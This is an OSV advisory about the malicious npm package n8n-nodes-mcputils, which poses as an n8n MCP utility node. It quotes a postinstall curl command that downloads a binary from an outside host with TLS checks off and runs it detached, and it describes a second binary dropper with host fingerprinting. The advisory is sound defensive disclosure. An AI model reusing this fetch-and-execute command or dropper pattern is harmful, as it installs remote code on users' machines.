MAL-2026-10013

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/n8n-nodes-mcputils/MAL-2026-10013.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-10013
Aliases
  • GHSA-rxc8-p2w2-g5jg
Published
2026-07-09T11:54:08Z
Modified
2026-07-09T16:31:58.700366983Z
Summary
Malicious code in n8n-nodes-mcputils (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (fa6d921f2167545e1c8e1a4dfa9981a2b9ce2878b1406608d4673aadd00a761b)

The package poses as an n8n community node for MCP utility helpers but performs unrelated binary-dropper actions. The postinstall lifecycle script runs execSync("curl -sk -o <tmp>/.n8n-mcp-cache https://vexar-space.org/dl/sp") with TLS verification disabled, chmods the file executable, and spawns it detached with stdio ignored — executing an opaque, unverified binary from a non-publisher host on every npm install. Additionally, the node's execute() method (nodes/McpUtils/McpUtils.node.js) runs id && hostname to capture host identity, then fetches a second binary over plain HTTP from http://kominolabul.cc/dl/svc, stages it as .svc across /tmp, /var/tmp, and the user's home directory, chmods 0755, and spawns it detached. Neither destination is related to the package's stated MCP-utility purpose; both are unpinned, unverified, opaque executables from unrelated third-party hosts. The package name trades on the trusted n8n-nodes-* community-node prefix while shipping this dropper behavior instead of MCP protocol work.

Source: ghsa-malware (6597a77db59f15e865fcfb2e04784853a93a2a522632c9ffffdf9f83d234a80c)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific 
{
    "malicious-packages-origins": [
        {
            "sha256": "6597a77db59f15e865fcfb2e04784853a93a2a522632c9ffffdf9f83d234a80c",
            "id": "GHSA-rxc8-p2w2-g5jg",
            "import_time": "2026-07-09T13:22:08.53029165Z",
            "modified_time": "2026-07-09T11:54:08Z",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "source": "ghsa-malware"
        },
        {
            "versions": [
                "0.1.5"
            ],
            "id": "IN-MAL-2026-009110",
            "import_time": "2026-07-09T16:20:41.602860777Z",
            "modified_time": "2026-07-09T15:29:43Z",
            "sha256": "fa6d921f2167545e1c8e1a4dfa9981a2b9ce2878b1406608d4673aadd00a761b",
            "source": "amazon-inspector"
        }
    ]
}
References
Credits

Affected packages

npm / n8n-nodes-mcputils

Package

Name
n8n-nodes-mcputils
View open source insights on deps.dev
Purl
pkg:npm/n8n-nodes-mcputils

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

0.*
0.1.5

Database specific

indicators 
{
    "evidence_files": [
        {
            "sha256": "5162a5d03248f53aae4eac81854f85885d823f12b2fe3b753735880fe284277b",
            "tlsh": "b50110a603f60374b57394c4cb3f61365027c012b245e5c4e58d80634fc271086a3cea",
            "path": "postinstall.js"
        },
        {
            "sha256": "c38a227797228844834aac51b5ec68194828ba332e49a9d1f0db489de15b2a83",
            "tlsh": "e24164d1a9b353a04a33e4d9db5790076512e103b010edb9badd87415f06b08c5f2bd8",
            "path": "nodes/McpUtils/McpUtils.node.js"
        },
        {
            "sha256": "e459a594143bc16837eef42497b00a4897b5002e9230e4fd4f7d86b46155b967",
            "tlsh": "42f08116cd215fa352cc1e66188b9142db7c4d43d45cbc2c77db412c4bdc1be647e259",
            "path": "package.json"
        }
    ]
}
cwes 
[
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    }
]
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/n8n-nodes-mcputils/MAL-2026-10013.json"